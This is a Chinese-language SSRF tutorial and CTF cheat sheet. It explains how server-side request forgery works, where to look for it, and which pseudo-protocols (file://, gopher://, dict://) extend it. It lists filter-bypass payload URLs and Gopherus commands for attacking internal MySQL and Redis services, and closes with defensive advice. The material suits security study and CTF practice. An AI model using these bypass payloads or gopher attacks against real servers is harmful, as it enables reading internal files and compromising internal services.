概述
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造目标 URL,使服务器端代为发起请求,从而访问到外网无法直接访问的内部资源或服务的漏洞。由于请求是由服务端发起,攻击者可借此触达与外网隔离的内网主机与服务。
SSRF 常见成因:服务端提供从其它 URL 获取数据的功能,但对目标地址未做充分过滤或限制(例如未限制协议、未白名单域名、未校验 IP 范围等)。
一、SSRF 漏洞原理
- 攻击者构造或诱导受害服务去访问攻击者控制的 URL 或内部资源。
- 服务端收到 URL 后代为访问,并把结果(页面、文件或响应)返回或用于后续流程,进而泄露内部信息或触发内部服务。
- SSRF 的核心:服务端具有“代理/抓取/回调”外部资源的能力且没有严格校验目标地址。
二、SSRF 漏洞挖掘(黑盒与白盒)
黑盒探针(常见可被利用的业务功能点)
- 社交分享:抓取 URL 标题、缩略图等。
- 转码服务:通过 URL 获取内容并转码(适配移动端)。
- 在线翻译:翻译远程网页内容。
- 图片加载/下载:富文本编辑器的图片导入或下载功能。
- 图片/文章收藏:抓取并存储 URL 的 title/摘要以供展示。
- 云服务厂商:远程探测站点是否存活、拉取资源等。
- 网站采集/抓取功能:用户输入 URL 后会被抓取并处理。
- 数据库内置功能(例如 MongoDB 的 copyDatabase)可触发外部请求。
- 邮件系统:处理邮件时可能访问远程资源(如外部图片)。
- 文件/编码处理库:ImageMagick、ffmpeg、docx/pdf/xml 解析器等。
- 未公开的 API 或扩展:通过搜索引擎与关键词组合可发现调用 URL 的入口(如 google dorking)。
常见可能包含 URL 的参数(可作为爆破字典)
share, wap, url, link, src, source, target, u, display, sourceURL, imageURL, domain
白盒分析
- 代码审计优先查看:文件读取、网络请求、URL 拼接、XML/HTML/图片处理、第三方库调用等位置,关注是否存在未过滤的外部输入直接作为请求目标的情况。
三、可利用的伪协议(SSRF 利用面)
http:// # 常见 Web 访问,例如 http://127.0.0.1
file:/// # 读取本地文件,例如 file:///etc/passwd
dict:// # 访问字典服务器资源,例如 dict://ip:port/info
sftp:// # SSH 文件传输(或安全传输)
ldap:// # 轻量目录访问协议
tftp:// # 简单文件传输协议
gopher:// # 原始 TCP 字节流传输(常用于向数据库/Redis/SMTP 发送协议字节)
注:
gopher常与工具(如 Gopherus)配合,生成针对性 payload,用于与内部服务(MySQL、Redis、SMTP 等)进行原始协议通信。
四、SSRF 绕过方式与示例
| 场景 | 绕过方法与示例 |
|---|---|
限制为 http://www.xxx.com 域名 |
利用基本认证符号 @ 绕过:http://www.xxx.com@www.xxyy.com |
| 禁止内网 IP | 1) 短网址绕过(URL 缩短后解析为内网 IP) 2) 将域名解析到内网(自定义域名指向 127.0.0.1) 3) IP 进制转换(十六进制/八进制/十进制) 4) 通过 3xx 重定向 |
| IP 进制与特殊写法 | 十六进制:http://0x7F.0.0.1/flag.php 八进制:http://0177.0.0.1/flag.php 十进制整数:http://2130706433/flag.php 十六进制整数:http://0x7F000001/flag.php 省略模式:http://127.1/flag.php |
| DNS 解析到内网地址 | 在外部解析一个域名到 127.0.0.1:test.example.com -> 127.0.0.1 后访问 http://test.example.com/flag.php |
| 使用重定向 | 目标通过重定向指向内网:在你的主机返回 Location: http://127.0.0.1/flag.php,触发服务端重定向访问内网。 |
| 匹配不影响解析 | 在 URL 中加入不会影响解析的字符:http://ctf.@127.0.0.1/flag.php?show |
| 长度/格式限制绕过 | 使用 http://0/flag.php、http://0.0.0.0/flag.php 等非常规写法 |
五、CTF 常用绕过示例(汇总)
示例 URL:
# 直接访问内网
url=http://127.0.0.1/flag.php
# 十六进制、八进制、十进制格式
url=http://0x7F.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php
url=http://0x7F000001/flag.php
# 省略与特殊写法
url=http://127.1/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
# DNS 劫持解析到内网
# test.xiaodi8.com -> 127.0.0.1
url=http://test.xiaodi8.com/flag.php
# 重定向绕过(远端脚本返回 Location 头)
# target 返回 header("Location:http://127.0.0.1/flag.php");
url=http://47.94.236.117/xx.php
# 含 @ 的写法
url=http://ctf.@127.0.0.1/flag.php?show
六、gopher 工具与示例(打服务)
- 推荐工具:Gopherus(GitHub:tarunkant/Gopherus)
- 示例命令(Windows 风格示例):
# MySQL exploit
d:\Python2.7\python.exe gopherus.py --exploit mysql
# Redis exploit
d:\Python2.7\python.exe gopherus.py --exploit redis
使用 gopher 时,通常要把要发送的原始协议字节流进行特殊编码(例如 URL 编码),以便在
gopher://的路径部分传递。
七、SSRF 防御建议
- 白名单校验:只允许访问受信任的外部域名/主机列表(并对返回的 IP 进行二次检查)。
- 协议限制:仅允许
http/https,禁用file://、gopher://、ftp://等危险协议。 - 端口限制:限制可访问的端口集合(例如仅 80、443、8080、8443 等)。
- 内网 IP 过滤:拒绝所有指向内网地址段(如
10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8)或链路本地/特殊地址的请求。 - 禁止不必要的重定向:限制或审计 3xx 重定向行为,避免被利用重定向到内网。
- 统一错误响应:隐藏详细错误信息,避免泄露端口/服务存活信息。
- 禁止危险功能:禁用不必要的服务端文件读取、远程协议解析或命令执行能力。
- 安全检测与审计:对外部 URL 请求加日志、限速、熔断,并对异常访问进行告警。